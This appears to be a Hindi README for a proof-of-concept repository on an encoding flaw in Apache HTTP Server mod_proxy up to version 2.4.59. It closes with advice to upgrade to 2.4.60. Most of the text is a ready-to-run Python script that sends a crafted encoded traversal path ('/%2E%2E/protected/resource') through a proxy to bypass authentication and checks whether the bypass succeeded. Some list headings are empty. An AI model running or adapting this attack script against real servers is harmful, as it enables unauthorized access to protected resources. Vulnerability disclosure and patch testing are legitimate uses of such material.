
Apache HTTP सर्वर mod_proxy में एन्कोडिंग दोष का प्रदर्शन करने वाला प्रूफ-ऑफ-कॉन्सेप्ट जो तैयार किए गए एन्कोडेड URL के माध्यम से प्रमाणीकरण को बायपास कर सकता है।
इस रिपॉजिटरी में Apache HTTP Server संस्करण 2.4.59 और उससे पहले के mod_proxy मॉड्यूल में एक एन्कोडिंग समस्या प्रदर्शित करने के लिए प्रूफ ऑफ कॉन्सेप्ट (PoC) स्क्रिप्ट्स शामिल हैं। यह कमजोरी अनुरोध URL को गलत एन्कोडिंग के साथ बैकएंड सेवाओं को भेजने की अनुमति देती है, संभावित रूप से क्राफ्टेड अनुरोधों के माध्यम से प्रमाणीकरण को बायपास करती है।
CVE-ID: (लंबित)
अवलोकन:
Apache HTTP Server संस्करण 2.4.59 और उससे पहले के mod_proxy मॉड्यूल में एक एन्कोडिंग समस्या अनुरोध URL को गलत एन्कोडिंग के साथ बैकएंड सेवाओं को भेजने की अनुमति देती है। यह संभावित रूप से क्राफ्टेड अनुरोधों के माध्यम से प्रमाणीकरण तंत्र को बायपास कर सकता है। उपयोगकर्ताओं को संस्करण 2.4.60 में अपग्रेड करने की अनुशंसा की जाती है, जो इस समस्या को ठीक करता है।
प्रभावित संस्करण:
निश्चित संस्करण:
requests लाइब्रेरी (pip install requests)बैकएंड सेवा की पहचान करें:
http://backend-service.example.com पर स्थित है।एक दुर्भावनापूर्ण अनुरोध तैयार करें:
PoC स्क्रिप्ट चलाएं:
mod_proxy_poc.py के रूप में सहेजें और इसे चलाएं।यहां एक Python स्क्रिप्ट है जो कमजोरी को प्रदर्शित करती है:
import requests
# Configuration
proxy_url = "http://proxy-server.example.com" # Change this to the proxy server's URL
backend_service_path = "/protected/resource" # The path to the protected resource on the backend service
malicious_path = "/%2E%2E/protected/resource" # Incorrectly encoded path to bypass authentication
# Malicious request to be sent via the proxy server
malicious_url = f"{proxy_url}{malicious_path}"
def send_malicious_request():
try:
# Send the crafted request to the proxy server
response = requests.get(malicious_url)
# Print the response details
print("Status Code:", response.status_code)
print("Response Headers:", response.headers)
print("Response Body:", response.text)
if response.status_code == 200:
print("[+] Successfully bypassed authentication and accessed the protected resource.")
else:
print("[-] Failed to bypass authentication.")
except Exception as e:
print("[-] An error occurred:", str(e))
if __name__ == "__main__":
send_malicious_request()
कॉन्फ़िगरेशन:
proxy_url: प्रॉक्सी सर्वर का URL.backend_service_path: बैकएंड सेवा पर संरक्षित संसाधन का पथ.malicious_path: प्रमाणीकरण को बायपास करने के लिए गलत एन्कोडेड पथ.send_malicious_request:
इस कमजोरी को कम करने के लिए, Apache HTTP Server संस्करण 2.4.60 में अपग्रेड करें, जो mod_proxy मॉड्यूल में एन्कोडिंग समस्या को ठीक करता है।
अपने सॉफ़्टवेयर को अद्यतित रखकर और सुरक्षा सर्वोत्तम प्रथाओं का पालन करके, आप mod_proxy मॉड्यूल में इस एन्कोडिंग समस्या जैसी कमजोरियों को रोक सकते हैं।